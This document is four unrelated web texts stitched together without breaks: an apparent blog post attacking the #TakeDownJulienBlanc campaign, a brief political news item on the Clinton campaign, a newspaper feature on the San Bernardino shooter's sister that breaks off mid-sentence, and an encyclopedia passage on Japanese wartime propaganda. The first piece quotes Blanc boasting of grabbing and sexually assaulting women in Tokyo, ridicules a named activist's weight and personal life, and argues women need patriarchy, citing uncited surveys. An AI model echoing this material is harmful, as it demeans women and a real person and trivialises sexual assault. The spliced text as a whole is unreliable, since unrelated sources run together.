When you go to Tokyo…if you’re a white male, you can do what you want. Just grab her, pull her in. She’ll giggle. Just say PIKACHU or POKEMON or something to take the pressure off. I’m romping through the streets (of Tokyo) just grabbing girls and it’s like (motions) head on dick (pfft) head on dick, yelling ‘PIKACHU’ with a Pikachu shirt on…Every foreigner who is white does this. When you see that one foreigner in the crowd in Tokyo and your eyes will lock and you know that he knows and he knows that and it’s this guilty look like you both fucked a hooker or something.
The video was seen on Tumblr by Washington D.C.-based Chinese feminist Jennifer Li, who started the hashtag #TakeDownJulienBlanc in response to what she heard. In this video, she explains her reasons for starting the hashtag:
Jennifer embodies many feminist stereotypes. She was on tumblr at 2am on a Saturday night instead of having a social life. Her cat wanders into the frame two minutes into the video. She is slightly overweight, and lives in Washington D.C. But one comment she makes stands out:
The responsibility shouldn’t be on the women. it should be on these nasty ass men.
Jennifer doesn’t want to fight her her own battles. She wants a men to protect her. And she isn’t alone. Many of the #TakeDownJulienBlanc tweets echo the same sentiment. Why aren’t men stopping men like this?
Feminists Need Patriarchy To Save Them From Julien Blanc
It used to be if a man was abusing or harassing women, the older men of that community would get together and teach the young man a lesson. Fathers in particular would teach their sons to be respectful of women. This system of men maintaining order was known as patriarchy. The word patriarch literally means rule by fathers.
Now, in the absence of patriarchy and male organizations, women only have ineffective government organizations, Twitter, and change.org petitions to turn to. What little success the feminists behind #TakeDownJulienBlanc have had is in turning to men—working class men like hotel managers, event organizers, and government officials—to help them shut down events.
In her video, Jennifer says “if he [Julien] were to yell Pikachu at me, I would fucking whip out a taser and go Pikachu on his motherfucking dick.” Would you really, Jennifer? Do you carry a taser? Are you so frightened of men that you carry a weapon at all times? Or is this just a violent power fantasy you indulge in, in the absence of any real power? You live in Washington D.C. If you don’t feel safe walking the streets in the city with the most government of any place in the world, who can you turn to for protection?
The hashtag #TakeDownJulienBlanc is a cry for help, a damsel in distress trope. I say this not to be mean, because I truly want each and every woman tweeting that to feel safe and secure, but because I believe what will make those women most secure is being surrounded by strong men, who’ve been raised by their fathers to behave honorably and justly. Patriarchy is what make women feel safe, which is why survey after survey says that conservative married women are the most happy and sexually satisfied demographic in America.
But don’t think I’m letting Julien off the hook. We’ll get to his behavior next.
How did Julien Blanc become Julien Blanc?
Julien’s behavior didn’t evolve in a vacuum. It was rewarded over years of practice and experimentation. In one video, Julien says that as a young man he couldn’t even start a conversation with girls. During his first approach, he ran away after a few seconds of conversation. He was not born as the man feminists are protesting today.
Much of Julien’s mindset can be attributed to being raised without a patriarch. In her video, #TakeDownJulienBlanc creator Jennifer Li says:
What is messed up about this guys behavior is that one – he knows that what he is doing is wrong because he says in his video, “I didn’t know how much I could get away with,” and you don’t say I’m going to get away with something, if you don’t think that what you’re doing is wrong.
“I didn’t know how much I could get away with,” is the voice of a child who was never taught boundaries. It is the voice of a child who never had a father to teach him right from wrong, or to give him meaningful challenges by which to discover the limits and abilities of his own powers.
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Other RSD coaches have said that for Julien, the drama is the sex. Julien will actually continue to fuck with a girl he knows will go home with him because he enjoys creating an emotional roller coaster that more than getting laid. If that doesn’t sound like behavior learned from women, I don’t know what is.
Years before #TakeDownJulienBlanc, Julien made videos where he said his favorite way to open girls was to point and call them a dog. While this opener would offend women, it got their attention. Julien’s game is to troll women and then win them over by reframing his actions. If you’re offended by what he does, congrats, his game worked.
When Jezebel did a hit piece fellow RSD coach Jeffy Allen, Julien was jealous because he wanted to be the subject of that much drama. He emailed offensive messages to Jezebel editors hoping they’d cover him. I have no doubt that Julien is relishing much of the controversy that surrounds him now. No one would give him attention when he was a fatherless young man who wanted girls to talk to him, and now he’s got his own hashtag.
Feminists Responses Show They Don’t Understand The Problem
Real Social Dynamics is the largest pickup company is the world. They are a million-dollar business. They have a bootcamp model, meaning that men pay them directly for in-field coaching. They don’t have advertisers or corporate sponsors who can pull support. If you wanted to stop them, you’d have to reach their customers. You have to convince men that you have something better to offer.
What are women doing instead? Making violent death threats against Julien:
One protestor even physically assaulted RSD coach Max on camera at an event in Melbourne, Australia:
The RSD students were forced to leave the Melbourne event after feminist protestors surrounded the boat they were meeting in. Max later told news, “we were actually fearing our safety and that’s really not cool.” #TakeDownJulienBlanc have said they plan to stage similar protests at future RSD events.
Isn’t it ironic that in their efforts to stop men from harassing them, women have made death threats and committed assault?
“Well he deserves it!” cry feminist protestors in their tweets. If these were men tweeting similar statements to a female speaker she would receive massive sympathetic mainstream coverage. However, because the protestors and media seem find Julien’s videos so reprehensible, they believe he deserves to have his life threatened, and his friends assaulted. When I see Julien, I don’t see a monster. Julien is what men become when they are raised by only women, and told women’s attention is what defines their worth.
If feminists truly wanted to #TakeDownJulienBlanc and keep men like him from ever becoming a problem again, they would make sure their sons grew up with fathers who were present active parts of their life. They would give attention to men they respect, rather than only engaging men who choke them and call them “dog.” And they would encourage the men in their lives to band together and lead their communities. If you want to #TakeDownJulienBlanc then you need to #BringBackPatriarchy.
Update: Since publishing this article, Julien Blanc’s Australian visa has been revoked by immigration minister Scott Morrison. This is the old ruling white man feminists are cheering on as their savior:
Victorian police commissioner Ken Lay also made a statement condemning Julien’s work, labeling it “deeply disturbing and offensive.” Here is the old white police man gun owner feminists asked to solve their problems for them:
I couldn’t have picked two better images of Patriarchy myself.
Read More: This Accidental Experiment Shows The Superiority Of PatriarchyAmid rising concerns of the connections between the Clinton Foundation and her State Department, Hillary Clinton’s campaign manager Robby Mook defended the lack of press conferences given by his candidate during the Wednesday edition of MSNBC’s “Morning Joe.”
Former George W. Bush communications chief Nicolle Wallace pressed Mook about Clinton’s lack of press conferences, despite Clinton’s “number one vulnerability” right now is being seen as dishonest and not trustworthy, asking why Clinton cannot be sat down and “take questions until there are no more questions to be answered.”
Mook responded that Clinton”has done over 300 interviews this year alone,” but Wallace interjected, “I know the difference between a three-minute, ground-ruled interview and a press conference, because I’ve put on a couple of each.”
“Why wouldn’t you put her out there to answer questions that she could certainly handle if your defense is true?” Wallace asked.
Mook repeated that Clinton has done over 300 interviews, as well as “takes questions in a variety of formats and we’re going to keep looking at that.”
“We’re considering everything every day. She’s been answering questions, she’s gonna continue to do that,” he later added after being pressed again about doing press conferences. “I think all we would ask is that people don’t cherry-pick, you know, 100-something meetings and then say that half of them were with Clinton Foundation donors at the exclusion of 1,700 other meetings.”
Follow Trent Baker on Twitter @MagnifiTrentSaira Khan, the sister of Syed Rizwan Farook, sits with her husband, Farhan Khan, and their two children in Riverside, Calif. (Jahi Chikwendiu/The Washington Post)
Maybe the child would be hers one day, so Saira Khan began preparing the house for her niece’s next visit. She sanitized the baby toys and double-checked the child safety locks. She cleaned the nursery where the girl had never been allowed to spend a night and tidied the crib that had been recovered and moved from a crime scene. It had belonged to the baby’s parents, and it was in the apartment where they had left her one morning last December before driving to an office party in San Bernardino, armed with pipe bombs, handguns and AR-15s.
Syed Rizwan Farook and Tashfeen Malik had killed 14 people that day and injured more than 20 others before dying in a shootout with police. They had also orphaned their own 6-month-old daughter. Now that baby had become a toddler who was just beginning to walk, and she was still living in foster care under the official custody of San Bernardino County. Saira, who was Farook’s older sister, had spent 11 months trying to adopt her niece, but so far the county would only agree to grant her regular, six-hour visits.
“Do we have her alone this time, or is someone coming to check on us?” asked Farhan Khan, Saira’s husband.
“I don’t know,” she said.
“More questions? More investigators?”
“Probably,” she said.
They had spent the past year trying to make sense of a shooting in which there were still so many unanswered questions, and lately the one that consumed them most was what would happen to the baby. They were her closest surviving relatives. Maybe caring for their niece, Saira thought, would restore some small bit of order not only to the baby’s life, but also to their own.
So Saira, 32, and Farhan, 42, had gone to court and filed for adoption. They had submitted to regular background checks and home inspections. They had been interviewed several times by Child Protective Services and cleared by the FBI of having any prior knowledge of the shooting. Now the only thing left to do was to wait for a custody decision that was based on the county’s discretion, even though the county had not indicated when a decision might come. “We are normal people. We are a good family,” Saira had tried to impress upon one CPS representative after the next, and each of her niece’s visits was an opportunity to prove it.
She cleaned the crumbs left on the living room carpet by her 3-year-old daughter and 8-year-old son. She straightened the wall art hanging in the kitchen that read: “In this house, we do second chances. We do grace. We do forgiveness. We do hugs.”
Their three-bedroom house was at the end of a cul-de-sac in a suburb of Riverside, with a lemon tree in the back yard and a view of the La Sierra Hills. Farhan worked in printer sales, managing a team of 12 employees. Saira was finishing her master’s degree in education. They had two children, a hybrid car and a vacation timeshare in San Diego — a nice California life until the day their cul-de-sac had jammed with police cars and television broadcasters, some of whom had mistakenly identified Saira and Farhan as the perpetrators of what was then considered the deadliest act of terrorism in the United States since 9/11.
The shooting had upended so many American families, including theirs. Saira said that her mother was taking sleeping pills to get through the night, and her father was escaping into delusions and becoming harder to understand. Meanwhile, Saira and Farhan were somehow trying to hold everything together, apologizing to the nation at a news conference, reaching out to families of victims, sinking some of their savings into adoption proceedings and returning at the end of each night to the same verse in the Koran: “God is with those who patiently persevere,” it read.
Now Saira walked into the small room in their house that she had set aside for her niece, a nursery wallpapered in blue and pink. She straightened the children’s books on the shelf. She set out some of her niece’s favorite toys and then opened her closet.
The clothing rack was filled with dozens of outfits that had been recovered from Farook and Malik’s apartment. Most of them were frilly dresses with the tags still attached, ranging in size from 9 months to 6 years. The couple had kept the clothes hidden in a suitcase, which the FBI had found in the closet of their apartment. At the same time that Farook and Malik had been stockpiling thousands of rounds of ammunition, they had also been assembling a future wardrobe for the child they did not plan to raise.
“Does any of this fit yet?” Farhan asked. He had followed Saira into the bedroom, but she didn’t seem to hear him. She was sifting through the dresses and looking at the tags.
“Age four. Two. Three. Six,” she said, reading the sizes. “What kind of parent makes plans to abandon their child? How were they capable of something like that and we didn’t know?”
***
A dress hangs in a closet among other clothes for Saira Khan’s niece, the daughter of Syed Rizwan Farook and Tashfeen Malik. (Jahi Chikwendiu/The Washington Post)
It was the question so many people had been asking ever since the shooting, and over time it had come to sound to Saira more like an accusation or an even an indictment: How could they not have known?
They had heard it in those first days from the FBI; and from friends at the mosque where Saira now sometimes felt isolated at Friday night prayers; and from parents in the drop-off line at their children’s elementary school; and from a cousin in Chicago before he hung up and told them not to call again; and from so many strangers at grocery stores or restaurants that, for the first time in her life, Saira had begun traveling with one can of Mace in her car and another in her purse.
Worst of all, it was the same question they had also been asking themselves. Should they somehow have known? Did they miss out on clues? When Farook started becoming increasingly conservative in his beliefs a decade before the shooting, eating only halal foods and saying he didn’t believe in birthday parties, should that have somehow been a cause for alarm? Or when he left their wedding celebration early in 2007 because he thought it was sinful to dance or listen to music, did that mean he was becoming a radical Islamist? And when he started to complain vaguely about his office’s annual Christmas party, should Saira somehow have concluded that her quietest, most gentle sibling — a man with no criminal record and no history of violence — was planning an attack?
They had not grown up in a particularly religious home. Their father, a truck driver who sometimes struggled to find stable work, rarely visited a mosque. Their mother had worked as a secretary and supported the family through moves to Pakistan, Illinois and California. Saira was the oldest of four, and she had always considered Farook the most easygoing of her siblings — shy, dependable, always happy to babysit her children or change the oil in her car. Not until he went to college did he begin growing out his beard, talking often about traditional Islamic law and searching online for a Muslim wife. He told the rest of the family that he wasn’t looking for a beautiful woman, only a devout one. After he met Malik online, he dissuaded his family from traveling to Saudi Arabia for their wedding in 2014.
Saira and Farhan hadn’t gone, so they met Malik for the first time when she moved back with Farook to Riverside. She wore a full veil, and she rarely spoke. Whenever Saira and Farhan invited the newlywed couple to their house, Malik would sequester herself away from the men in one of the bedrooms, locking the door for privacy. Farook said it was for religious reasons, but Saira thought it was excessive and rude.
Photos of Tashfeen Malik, left, and Syed Rizwan Farook, who died in a shootout with police after they killed 14 and wounded 21 others in San Bernardino, Calif. (FBI; California Department of Motor Vehicles/via Associated Press)
“Doesn’t it seem like weird behavior?” she remembered saying to Farhan once.
“Don’t worry about it,” he told her, because he thought there were so many possible explanations. Malik didn’t speak very much English. She was shy. She was new to the United States. She and Farook were newly married and wanted their privacy. “It will get better,” Farhan said.
And then Malik became pregnant a few months into the marriage and had the baby, and in some ways things did |
promoted general Pan-Asianism, but this was never implemented as thoroughly as the nationalistic elements.) Because of this, Japanese propaganda was less appealing to non-Japanese than American propaganda, with its message of universal democracy open (in theory) to everybody.
Japanese wartime propaganda was distributed through films, magazines and newspapers, radio, books, cartoons and the education system.
Films [ edit ]
The Film Law of 1939 decreed a "healthy development of the industry" which abolished sexually frivolous films and social issues.[1] Instead, films were to elevate national consciousness, present the national and international situation appropriately, and otherwise aid the "public welfare."[2]
The use of propaganda in World War II was extensive and far reaching but possibly the most effective form of propaganda used by the Japanese government was film.[3] Japanese films were produced for a far wider range of audiences than American films of the same period.[4] From the 1920s onward, Japanese film studios produced films legitimizing the colonial project that were set in its colonies of Taiwan, Korea, and on the Chinese mainland.[5] By 1945 propaganda film production under the Japanese had expanded throughout the majority of their empire including Manchuria, Shanghai, Korea, Taiwan, Singapore, Malaysia, the Philippines, and Indonesia.[5]
In China, Japan’s use of propaganda films was extensive. After Japan's invasion of China, movie houses were among the first establishments to be reopened.[3] Most of the materials being shown were war news reels, Japanese motion pictures, or propaganda shorts paired with traditional Chinese films.[3] Movies were also used in other conquered Asian countries usually with the theme of Japan as Asia’s savior against the Western tyrants or spoke of the history of friendly relations between the countries with films such as, The Japan You Don't Know.[6][7]
China's rich history and exotic locations made it a favorite topic of Japanese film makers for over a decade before the outbreak of the second Sino-Japanese War (1937-1945).[5][6] Of particular note were a popular trio of "continental goodwill films" (大陸親善映画) set throughout the Chinese continent and starring Hasegawa Kazuo as the Japanese male romantic lead with Ri Kōran (Yoshiko Yamaguchi) as his Chinese love interest.[5] Among these films, Song of the White Orchid (1939, 白蘭の歌), China Nights (1940, 支那の夜), and Vow in the Desert (1940, 熱砂の誓い) mixed romantic melodrama with propaganda in order to represent a figurative and literal blending of the two cultures onscreen.[8]
‘National policy films’ or propaganda pictures used in World War II included combat films such as Mud and Soldiers (1939, 土と兵隊) and Five Scouts (1938, 五人の斥候兵), spy films such as The Spy isn't Dead (1942, 間諜未だ死せず) and They're After You (1942, あなたは狙われている) and lavish period pictures such as The Monkey King (1940, 孫悟空) and Genghis Khan (1943, 成吉斯汗).[5] In the early stages of the war with China, so-called "Humanistic war films" such as The Five Scouts attempted to depict the war without nationalism. But with Pearl Harbor, the Home Ministry demanded more patriotism and "national polity themes" – or war themes.[9] Japanese directors of war films set in China had to refrain from direct representations of the Chinese for ideological reasons as well. The risk of alienating the same cultures that the Japanese ostensibly were "liberating" from the yoke of Western colonial oppression was also a powerful deterrent in addition to government pressure.[5] Even so, as the war in China worsened for Japan, action films such as The Tiger of Malay (1943, マライの虎) and espionage dramas like The Man From Chungking (1943, 重慶から来た男) more overtly criminalized Chinese as enemies of the Empire.[5] In contrast to its representations of China as antiquated and inflexible, Western nations were often portrayed as overindulgent and decadent.[10] Such negative stereotypes had to be adjusted when Japanese film makers were asked to collaborate with Nazi film crews on a number of Axis co-productions that followed the conclusion of the Tripartite Pact.[11]
Much as American propagandists, Japanese film makers extensively used prejudice and xenophobia in films produced after war was formally declared on the Allied nations. In Fire on That Flag! (1944, あの旗を撃て！) the cowardice of the fleeing American military is juxtaposed with the moral supremacy of the imperial Japanese army during the occupation of the Philippines. Japan's first full-length animated feature film Momotarō: Divine Soldiers of the Sea (1945, 桃太郎海の神兵) similarly portrays the Americans and British in Singapore as morally decadent and physically weak "devils." [5] A sub-category of the costume picture is the samurai movie.[6] Themes used within these films include self-sacrifice and honor to the emperor.[10] Japanese films often did not shy away from the use of suffering, often portraying its troops as the underdog. This had the effect of making Japan look as though it was the victim inciting greater sympathy from its audience.[4] The propaganda pieces also often illustrated the Japanese people as pure and virtuous depicting them as superior both racially and morally.[10] The war is portrayed as continuous and is usually not adequately explained.[10]
Magazines and newspapers [ edit ]
Magazines supported the war from its beginnings as the Second Sino-Japanese War with stories of heroism, tales of war widows, and advice on making do.[12]
Government censors at work
After the attack on Pearl Harbor, control tightened, aided by the patriotism of many reporters.[13] Magazines were told that the cause of the war was the enemy's egoistic desire to rule the world, and ordered, under the guise of requests, to promote anti-American and anti-British sentiment.[14] When Jun'ichirō Tanizaki began to serialize his novel Sasameyuki, a nostalgic account of pre-war family life, the editors of Chūōkōron were warned it did not contribute to the needed war spirit.[15] Despite Tanizaki's history of treating Westernization and modernization as corrupting, a "sentimental" tale of "bouregeoise family life" was not acceptable.[16] Fearful of losing supplies of paper, it cut off the serialization.[15] A year later Chūōkōron and Kaizo were forced to "voluntarily" dissolve after police beat confessions out of "Communist" staffers.[16]
Newspapers added columnists to whip up martial fervor.[17] Magazines were ordered to print militaristic slogans.[18] An article "Americanism as the Enemy" said that the Japanese should study American dynamism, stemming from its social structure, which was taken as praise despite the editor's having added "as the Enemy" to the title, and resulted in the withdrawal of the issue.[19]
Cartoons [ edit ]
A Japanese propaganda in Jawi script found in the town of Kuching Sarawak after the capturing of the town by the Australian forces.
Cartoonists formed a patriotic association to promote fighting spirit, stir up hatred of the enemy, and encourage people to economize.[20] A notable example was the Norakuro manga, which began pre-war as humorous episodes of anthropomorphic dogs in the army, but eventually developed into propaganda tales of military exploits against the "pigs army" on the "continent" - a thinly-veiled reference to the Second Sino-Japanese War.
Cartoons were also used to create informational papers, to instruct occupied populations, and also soldiers about the countries they occupied.[5][21]
Kamishibai [ edit ]
A form of propaganda unique to Japan was war themed Kamishibai "paper plays". In Kamishibai a street performer uses Emakimono "picture scrolls" to convey the story of the play. Audiences typically included children who would buy candy from the street performer providing his source of income. Unlike American propaganda that often focused on the enemy, Japanese wartime "National Policy" Kamishibai usually focused on themes of self-sacrifice for the nation, the heroism of martyrs, or instructional messages such as how to respond to an air-raid warning.[22]
Books [ edit ]
The Shinmin no Michi or Path of Subjects described what the Japanese should aspire to be, and depicted Western culture as corrupt.[23]
The booklet Read This and the War is Won, printed for distribution to the army, not only discussed tropical fighting conditions but also why the army fought.[23] Colonialism was presented as a tiny group of colonists living in luxury by placing burdens on Asians; because ties of blood connected them to the Japanese, and Asians had been weakened by colonialism, it was Japan's place to "make men of them again."[24]
Textbooks [ edit ]
The Ministry of Education, led by a general, sent out propagandistic textbooks.[25] Military oversight of education was intense, with officers arriving at any time to inspect classes and sometimes rebuke the instructor before the class.[26]
Similarly, textbooks were revised in occupied China to instruct Chinese children in heroic Japanese figures.[27]
Education [ edit ]
Even prior to the war, military education treated science as a way to teach that the Japanese were a morally superior race, and history as teaching pride in Japan, with Japan not being only the most splendid nation, but the only splendid one.[28]
After the attack on Pearl Harbor, elementary schools were renamed "National Schools" and charged to produce "children of the Emperor" who would sacrifice themselves for the nation.[29] Children were marched to school where half their time was spent on indoctrination on loyalty to the emperor, and frugality, obedience, honesty, and diligence.[30] Teachers were instructed to teach "Japanese science" based on the "Imperial Way", which precluded evolution in view of their claims to divine descent.[31] Students were given more physical education and required to perform community service.[32] Compositions, drawings, calligraphy, and pageants were based on military themes.[33] Those who left school after completing six years were required to attend night school for Japanese history and ethics, military training for boys, and home economics for girls.[32]
As the war went on, teachers lay more emphasis on the children's destiny as warriors; when one child grew airsick on a swing, a teacher told him he would not be a good fighter pilot.[34] Pupils were shown caricatures of Americans and British to instruct them about their enemy.[34]
Girls graduating on Okinawa heard a speech by their principal on how they must work hard to avoid shaming the school before they were inducted into the Student Corps to act as nurses.[35]
Radio [ edit ]
News reports were required to be official state announcements, read exactly, and as the war in China went on, even entertainment programs addressed wartime conditions.[36]
The announcement of the war was made by radio, soon followed by an address from Tojo, who informed the people that in order to annihilate the enemy and ensure a stable Asia, a long war had to be anticipated.[37]
To take advantage of the radio's adaptability to events, "Morning Addresses" were made twice a month for schools.[26]
Short wave radios were used to broadcast anti-European propaganda to Southeast Asia even before the war.[38] Japan, fearful of foreign propaganda, had banned such receivers for Japanese, but built broadcasters for all the occupied countries to extol the benefits of Japanese rule and attack Europeans.[39] "Singing towers" or "singing trees" had loudspeakers on them to spread the broadcasts.[40]
Broadcasts to India urged revolt.[41]
Tokyo Rose's broadcasts were aimed at American troops.[41]
Negro propaganda operations [ edit ]
In an effort to exacerbate racial tensions in the United States, the Japanese enacted what was titled, "Negro Propaganda Operations."[42] This plan, created by Yasuichi Hikida, the director of Japanese propaganda for Black Americans, consisted of three areas.[42] First was gathering information pertaining to Black Americans and their struggles in America, second was the use of Black prisoners of war in the propaganda, and third was the use of short-wave radio broadcasts.[42] Through shortwave radio broadcasts, Japanese used their own radio announcers and African American POWs to spread propaganda to the United States. Broadcasts focused on U.S. news stories involving racial tension, such as the Detroit Race riots and lynchings.[43][44] For example, one broadcast commented, "notorious lynchings are a rare practice even among the most savage specimens of the human race."[42] In an effort to gain more listeners, POWs would be allowed to address family members back home.[43] The Japanese believed propaganda would be the most effective if they used African American POWs to communicate to African Americans back home. Using programs titled "Conversations about Real Black POW Experiences" and "Humanity Calls", POWs would speak on the conditions of war, and their treatment in the military. POWs with artistic strengths were used in plays and or songs that were broadcast back home.[42] The success of this propaganda is much debated, as only a small minority of people in America had shortwave radios.[43] Even so, some scholars believe that the Negro Propaganda Operations, "evoked a variety of responses within the Black community and the sum total of these reactions forced America’s government to improve conditions for Blacks in the military and society."[42] Even the NAACP (National Association for the Advancement of Colored People) saw the propaganda as, "...a media tool in the struggle against racial discrimination".[42] Despite these debates both sides agree that these programs were particularly dangerous because of their foundation in truth.[42][43][44]
Leaflets [ edit ]
Japanese propaganda leaflet distributed during the Battle of the Philippines
Leaflets in China asked why they were not better defended after all the money they had spent.[45]
Leaflets were dropped by airplane on the Philippines, Malaya, and Indonesia, urging them to surrender as the Japanese would be better than the Europeans.[46] They were also dropped in India to encourage a revolt against British rule now that Great Britain was distracted.[41]
Slogans [ edit ]
Slogans were used throughout Japan for propaganda purpose.[47] They were used as patriotic exortion – "National Unity", "One Hundred Million With One Spirit" – and to urge frugality – "Away with frivolous entertainment!".[48]
Themes [ edit ]
Kokutai [ edit ]
Kokutai, meaning the uniqueness of the Japanese people in having a leader with spiritual origins, was officially promulgated by the government, including a text book sent about by the Ministry of Education.[25] The purpose of this instruction was to ensure that every child regarded himself first of all as a Japanese and was grateful for the "family polity" structure of government, with its apex in the emperor.[49] Indeed, little effort was made during the course of the war to explain to the Japanese people what it was fought for; instead, it was presented as a chance to rally about the emperor.[50]
Leaping Patriotic Autumn: Promotion of patriotism
In 1937, the pamphlet Kokutai no Hongi was written to explain the principle.[51] It clearly stated its purpose: to overcome social unrest and to develop a new Japan.[52] From this pamphlet, pupils were taught to put the nation before the self, and that they were part of the state and not separate from it.[53] The Ministry of Education promulgated it throughout the school system.[51]
In 1939, Taisei Yokusankai (Imperial Rule Assistance Association) was founded by the prime minister to "restore the spirit and virtues of old Japan".[54] When the number of patriotic associations during the war worried the government, they were folded into the IRAA, which used them to mobilize the nation and promote unity.[55]
In 1941, Shinmin no Michi was written to instruct the Japanese what to aspire to.[56] Ancient texts set forth the central precepts of loyalty and filial piety, which would throw aside selfishness and allow them to complete their "holy task."[57] It called for them to become "one hundred million hearts beating as one" – a call that would reappear in American anti-Japanese propaganda, though Shinmin no Michi explicitly said that many Japanese "failed" to act in this manner.[58] The obedience called for was to be blind and absolute.[59] The war would be a purifying experience to draw them back to the "pure and cloudless heart" of their inherent character that they had strayed from.[60] Their natural racial purity should be reflected in their unity.[61] Patriotic war songs seldom mentioned the enemy, and then only generically; the tone was elegiac, and the topic was purity and transcendence, often compared to cherry blossom.[62]
The final letters of kamikaze pilots expressed, above all, that their motivations were gratitude to Japan and to its Emperor as the embodiment of kokutai.[63] One letter, after praising Japanese history and the way of life their ancestors had passed down to them, and the Imperial family as the crystallization of Japan's splendour, concluded, "It is an honor to be able to give my life in defense of these beautiful and lofty things."[64]
"Luxury is our Enemy" banner by the National Spiritual Mobilization Movement
Intellectuals at an "overcoming modernity" conference proclaimed that prior to the Meiji Restoration, Japan has been a classless society under a benevolent emperor, but the restoration had plunged the nation into Western materialism (an argument that ignored commercialism and ribald culture in the Tokugawa era), which had caused people to forget their nature, which the war would enable them to reclaim.[65]
Baseball, jazz, and other Western profligate ways were singled out in government propaganda to be abandoned for a pure spirit of sacrifice.[65]
This Yamato spirit would allow them to overcome the vast disproportion in fighting materiel.[66] This belief was so well indoctrinated that even as Allied victories overwhelmed the ability of the Japanese government to cover them up with lies, many Japanese refused to believe that "God's country" could be defeated.[67] The military government likewise fought on hopes that the casualty lists would undermine the Allied will to fight.[68] General Ushijami, addressing his troops in Okinawa, told them their greatest strength lay in moral superiority.[69] Even as American forces proceeded from victory to victory, Japanese propaganda claimed military superiority.[70] The attack on Iwo Jima was announced by the "Home and Empire" broadcast with uncommon praise of the American commanders but also the confident declaration that they must not leave the island alive.[71] The dying words of President Roosevelt were altered to "I have made a terrible mistake" and some editorials proclaimed it a punishment of Heaven.[72] American interrogators of prisoners found that they were unshakable in their conviction of Japan's sacred mission.[73] After the war, one Japanese doctor explained to American interrogators that the people of Japan had foolishly believed that the gods would indeed help them out of their predicament.[74]
This also brought them a sense of racial superiority to the Asian peoples they claimed to liberate that did much to undermine Japanese propaganda for racial unity.[75] Their "bright and strong" souls made them the superior race, and therefore their proper place was in the leadership of the Greater Asia Co-Prosperity Sphere.[76] Anyone not Japanese was an enemy – devilish, animalistic – including other Asian peoples such as the Chinese.[77] Strict racial segregation was maintained in conquered regions, and they were encouraged to think of themselves as "the world's foremost people."[78]
This race was, indeed, to be further improved with physical fitness and social-welfare programs, and population policies to increase their number.[79] A campaign to promote fertility, to produce future citizens, continued through 1942, and no efforts were made to recruit women to war work for that reason.[64] The slogan "Be fruitful and multiply" was used in campaigns.[80]
Rural life [ edit ]
Despite its military strength being dependent on industrialization, the regime glorified rural life.[81] The traditional rural and agricultural life was opposed to the modern city; proposals were made to fight the atomizing effects of cities by locating schools and factories in the countryside, to maintain the rural population.[79] Agrarianist rhetoric exulted village harmony, even while tenants and landlords were pitted against each other by war needs.[82]
Spiritual mobilization [ edit ]
The National Spiritual Mobilization Movement was formed from 74 organizations to rally the nation for a total war effort. It carried out such tasks as instructing schoolchildren on the "Holy war in China", and having women roll bandages for the war effort.[83]
Production [ edit ]
Electric Power is Military Power!
Even prior to the war, the organization Sanpo existed to explain the need to meet production quotas, even if sacrifices were needed; it did so with rallies, lectures, and panel discussion, and also set up programs to assist workers' lives to attract membership.[16]
Among the early victories was one that secured an oil field, giving Japan its own source for the first time; propaganda exulted that Japan was no longer a "have-not" nation.[84]
In 1943, as the American industrial juggernaut produced material superiority for the American forces, calls were made for a more war-like footing on part of the population, in particular in calls for increases in war materials.[85] The emphasis on training soldiers rather than arming them had left the armed forces dangerously ill-supplied after the heavy attrition.[86] Morning assemblies at factories had officers address the workers and enjoin them to meet their quotas.[87] The production levels were kept up, albeit at the price of extraordinary sacrifice.[88]
Privation [ edit ]
The government urged Japanese people to do without basic necessities (privation.) For example, magazines gave advice on economizing on food and clothing as soon as war broke out with China.[12]
After the outbreak of war with the United States, early suggestions that the people enjoyed the victories too much and were not prepared for the long war ahead were not taken, and so early propaganda did not contain warnings.[89]
In 1944, propaganda endeavoured to warn the Japanese people of disasters to come, and install in them a spirit as in Saipan, to accept more privation for the war.[90] Articles were written claiming the Americans could not stage air-raids from Saipan, although since they could from China, they clearly could from Saipan; the purpose was to subtly warn of the dangers to come.[91] The actual bombing raids brought new meaning to the slogan "We are all equal."[92] Early songs proclaiming that the cities had iron defenses and it was an honor to defend the homeland quickly lost their luster.[93] Still, continued calls to sacrifice were honored; neighborhood association helped, as no one wanted to be seen quitting first.[94]
Accounts of self-sacrificing privation were common in the press: a teacher dressed in tatters who refused to wear a new shirt because all his friends are likewise tattered, and officers and governmental officials who made do without any form of heating.[95] This reflected the privation actually in society, where clothing was at premium and the work week was seven days long, with schooling cut to a minimum so that children could work.[96]
Hakkō ichiu [ edit ]
Hakkō ichiu and the 2600th anniversary of the Empire. Prewar 10-sen Japanese stamp, illustrating theand the 2600th anniversary of the Empire.
Like Nazi Germany's demands for Lebensraum, Japanese propaganda complained of being kept trapped in its own home waters.[25] Hakkō ichiu, "to bring the eight corners of the world under one roof", added a religious overtone to the theme.[25] It was based on the story of Emperor Jimmu, who had founded Japan, and finding five races on it, had made them all as "brothers of one family."[97] In 1940, the Japan Times and Mail recounted the story of Jimmu on the 2600 anniversary.[97]
The news of Hitler's success in Europe, followed by Mussolini's joining in the conflict, produced the slogan "Don't miss the bus!" as the European war gave them the opportunity to conquer Southeast Asia for its resources.[98]
On the outbreak of war, Tojo declared that as long as there remains a spirit of loyalty and patriotism under this policy, there was nothing to fear.[99]
An Investigation of Global Policy with the Yamato Race as Nucleus explicitly called for such expansion; although a secret document for use of the policy-makers, it laid out explicitly what is elsewhere hinted at in.[100] It explicitly laid out that the superior position of Japan in the Greater Asia Co-Prosperity Sphere, showing the subordination of other nations was not forced by the war, but part of explicit policy.[101]
This was also justified on the grounds that the resource-poor Japanese could not count on any sources of raw material that they did not control themselves.[102] Propaganda stated that Japan was being strangled by "ABCD" – America, Britain, China, and Dutch East Indies—through trade embargoes and boycotts.[103] Even in preparation of the war, the newspapers reported that unless negotiations improved, Japan would be forced to engage in self-defense measures.[104]
Bushido [ edit ]
The samurai code bushido was pressed into service for indoctrination in militarism.[105] This was used to present war as purifying, and death a duty.[106] This worked to prevent surrenders, both of those who adhered to it, and of those who feared disgrace if they did not die.[106] This was presented as revitalizing traditional values and "transcending the modern."[107] War was presented as a purifying experience, albeit only for the Japanese.[108] Bushido would provide a spiritual shield to let soldiers fight to the end.[109] All soldiers were expected to adhere to it, although historically it had been the duty of higher ranked samurai and not common soldiers.[110]
The submariners who died in the Pearl Harbor attack
As taught, it produced a reckless indifference to the technological side of warfare. Japan's production was a fraction of America's, making equipment difficult.[111] Officers declared themselves indifferent to radar, because they had perfectly good eyes.[112] The blue-eyed Americans would necessarily be inferior to the dark-eyed Japanese at night attacks.[113] At Imphal, the commander declared to his troops that it was a battle between their spiritual strength and the British material strength, a command which became famous as rubric of Japanese spirit.[114]
